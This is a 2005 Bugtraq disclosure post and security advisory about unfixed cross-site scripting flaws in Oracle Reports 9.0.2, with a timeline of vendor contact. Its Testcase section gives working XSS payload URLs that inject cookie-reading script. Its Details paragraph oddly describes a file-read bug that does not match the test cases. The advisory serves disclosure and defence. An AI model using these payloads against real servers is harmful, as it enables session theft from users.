Dear Bugtraq Reader

3 months ago (15-april-2005) I informed the Oracle Security Team (secalert_us@oracle.com) that I will publish bug details if the bugs are not fixed with the next critical patch update (CPU July 2005). I know that Oracle products are complex and a good patch quality need some time. That's why I offered Oracle additional time if 3 months are not sufficient for fixing the bugs. Oracle never asked for more time.

Oracle's behaviour not fixing critical security bugs for a long time (over 650 days) is not acceptable for their customers. Oracle put their customers in danger. At least one critical vulnerability can be abused from any attacker via internet.

I decided to publish these vulnerabilities because it is possible to mitigate the risk of these vulnerabilities by using the workarounds provided in the advisories.


Kind Regards

 Alexander Kornbrust

 www.red-database-security.com

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Red-Database-Security GmbH  - Oracle Security Advisory

Various Cross-Site-Scripting Vulnerabilities in Oracle Reports


 Name                Various Cross-Site-Scripting Vulnerabilities in Oracle
                     Reports
 Systems Affected    Oracle Reports 9.0.2
 Severity            Low Risk 
 Category            Cross Site Scripting (CSS/XSS)
 Vendor URL          http://www.oracle.com 
 Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                19 July 2005 (V 1.00) 
 Inital bug report   693 days ago
 Advisory-URL        http://www.red-database-security.com/advisory/oracle_reports_various_css.html


Details
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Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting
tool. It enables businesses to give immediate access to information to all
levels within and outside of the organization in an unrivaled scalable and
secure environment. Oracle Reports, a component of the Oracle Application
Server, is used by Oracle itself for the E-Business Suite. Many large customers
are using Oracle Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an absolute or
relative file name.
Parts of the file content are displayed in the Reports error message (see test
case).




Testcase
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http://myserver:7778/reports/rwservlet/showenv?server=reptest&debug=<script>aler
t(document.cookie);</script>

http://myserver:7778/reports/rwservlet/parsequery?server=myserver&test=<script>a
lert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=
*+delimiter=<script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=
<script>alert(document.cookie);</script>



Affected systems
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Tested with Oracle Reports 9.0.2 + patchset 2. Not tested with newer version. 
I never got an email / credits that Oracle fixed these issues in later versions.



Patch Information
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This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July 2005). It
seems that Oracle is NOT INTERESTED to fix this issue and provide patches for
this issue.
If you think you need a patch to protect your Oracle Application Server you
should contact Oracle.



History
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31-jul-2003 Oracle secalert was informed

31-jul-2003 Bug confirmed

18-aug-2003 Oracle secalert was informed about an additional CSS bug

18-aug-2003 Bug confirmed

23-aug-2003 Oracle secalert was informed about additional CSS bugs

23-aug-2003 Bug confirmed

15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security offered 
Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.

12-jul-2005 Oracle published CPU July 2005 without fixing this issue

19-jul-2005 Red-Database-Security published this advisory




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